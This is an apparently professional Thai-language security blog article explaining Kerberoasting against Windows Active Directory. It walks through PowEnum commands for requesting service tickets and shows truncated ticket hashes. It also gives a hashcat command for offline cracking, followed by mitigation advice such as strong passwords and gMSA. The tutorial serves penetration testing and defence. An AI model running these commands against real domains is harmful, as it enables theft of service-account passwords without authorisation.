NEED HELP?
Get the help you need on our official LINE
qrcode
@incognitolab
Add Line Friends via QR Code
Go to LINE’s Add Friends menu Use Search by ID or QR Code to register!
1*Bq783IFHBE90M514T_Magg
ARTICLES 19 Aug 2021

Kerberoasting Attack

IncognitoLab Incognito Lab

Kerberoasting เป็นเทคนิคหนึ่งในการโจมตี Kerberos มีเป้าหมายเพื่อ crack หา Password ของ target service บน Windows Domain Environment แบบ offline โดยที่เราไม่จำเป็นต้องไปแตะหรือ interface กับ target service หรือเครื่องเป้าหมายเลย เพียงแค่เราคุยกับ KDC เพื่อขอ TGS มาก็พอ ข้อดีคือเราสามารถทำการ crack ในลักษณะ offline ได้ ทำให้เราไม่ต้องกังวลว่าจะสร้าง noise ใด ๆ ให้เกิดขึ้นบน target ปลายทางหรือใน environment ไม่ว่าจะเป็นการสร้าง log หรือเผลอทำ account lock


คำว่า “target service” ถูกเรียกใช้เพื่อความง่าย ถ้าจะระบุอย่างเฉพาะเจาะจงแล้วต้องหมายถึง AD(Active Directory) object ใด ๆ เช่นเป็น service account, user account หรือ computer object ก็ได้ ที่มี SPN(Service Principal Name) ผูกไว้อยู่เพื่อจะได้รู้ว่า service นั้น ๆ ถูก run ภายใต้ account อะไร เทคนิค Kerberoasting จึงมุ่งหมายโจมตีไปยัง password ของ SPN ซึ่งจะผูกกับ account ใน AD นั่นเอง

การโจมตีไปยัง account ที่มี SPN สร้างข้อได้เปรียบอย่างหนึ่งก็คือ password ที่ใช้มักจะไม่ได้เปลี่ยนบ่อยเนื่องจากมันเป็น service และให้เลือก SPN ที่เป็น user account อย่าไปใช้ computer account เพราะ password จะซับซ้อนกว่า


อารัมภบทมาพอสมควรแล้ว คราวนี้มาลองดูสิ่งที่เกิดขึ้นจากผ่าน Authentication flow ของ Kerberos กันบ้าง หากทำ TGS Request แบบปกติสิ่งที่ตอบกลับมาจะเป็น TGS ในรูปแบบของ

1*Bq783IFHBE90M514T_Magg.png

enc([username,service_session_key,TGS period,PAC],target_key)

ซึ่ง TGS นั้นมีแต่ target service ที่จะสามารถแงะออกมาได้ หากเราได้ TGS มาย่อมมีความเป็นไปได้ที่จะหา target_key ได้เช่นกัน และถ้าหากทำสำเร็จสิ่งที่ได้ก็คือ password ของ SPN ที่เรากำลังสนใจนั่นเอง

Attack Methods
สำหรับกรณี Kerberoasting attack ผู้เขียนเองชอบใช้ PowEnum ที่มี option ในการ run kerberoasting ด้วย ( PowEnum เป็น PowerShell Script ที่เรียกใช้ function ของ Powerview มีไว้เพื่อทำการ enumerate ข้อมูลจาก Active Directory ใช้งานสะดวกเพราะ run เพียง 1 คำสั่งก็จะได้ข้อมูลที่สามารถดึงได้จาก AD อยู่หลายอย่างทั้ง Users, Group, AdminCount, DNS Record หรือ File Servers สามารถไปดูรายละเอียดการใช้งานได้จาก https://github.com/whitehat-zero/PowEnum

การทำ Kerberoasting attack นั้นจำเป็นที่จะต้องได้ TGT ก่อน นั่นหมายความว่าต้องมี domain user account เรียบร้อยแล้วถึงจะโจมตีได้ สำหรับ PowEnum สามารถเริ่มต้นใช้งานได้จากเครื่องที่ไม่ได้ join domain โดย run คำสั่งจาก cmd ดังนี้

> runas /netonly /user:demodomain\dorothy powershell
Enter the password for demodomain\dorothy:
Attempting to start powershell as user “demodomain\dorothy” …


หลังจาก PowerShell console แสดงผลแล้วให้เรียกใช้ PowEnum

> Import-Module .\PowEnum.ps1
> Invoke-PowEnum -NoExcel -Mode Roasting -FQDN demodomain.local

หากใน Domain Environment มี SPN อยู่ จะพบว่าจะสามารถระบุได้ว่ามี SPN กี่ account ที่ทำ Kerberoast มาได้ จากภาพจะพบว่ามี 2 account



ให้เปิด output file จะพบค่า TGS ของ SPN ที่หามาได้

$krb5tgs$23$*svcsytem1$demodomain.local$MSSQLSvc/system7.demodomain.
local:1433*$6E18FA25B… (stripped)

$krb5tgs$23$*svcadmin$demodomain.local$MSSQLSvc/system8.demodomain.l
ocal:2138*$5798BE…(stripped)

ลำดับถัดไปให้ทำ offline crack ด้วย hashcat ตาม style, dictionary และเทคนิคตามสะดวก

> hashcat64 -r ..\hob064.rule.txt -m 13100 ..\kerb_tgs.txt
..\rockyou.txt -o cracked.txt — force


Mitigation

  1. ถ้าใช้ service account และมีการตั้ง SPN อยู่ด้วย ให้ทำการตั้งค่า password ที่ strong และ complex ที่ยากและใช้ effort มากเกินกว่าที่จะ crack ได้ในระยะเวลาที่ attacker จะทนรอได้
  2. หากต้องการใช้ service account ให้เปลี่ยนไปใช้ Group Managed Service Account (gMSA) ที่ AD จะเป็นผู้รับผิดชอบเรื่อง password เอง ลองดูรายละเอียดเพิ่มเติมได้จาก https://techcommunity.microsoft.com/t5/itops-talk-blog/step-by-step-how-to-work-with-group-managed-service-accounts/ba-p/329864  https://medium.com/tech-jobs-academy/creating-and-associating-a-group-managed-service-account-19843050a6a6

Reference

  1. ทำความรู้จักกับ SPN และดูตัวอย่างของ SPN ได้ที่ https://en.hackndo.com/service-principal-name-spn/



UP NEXT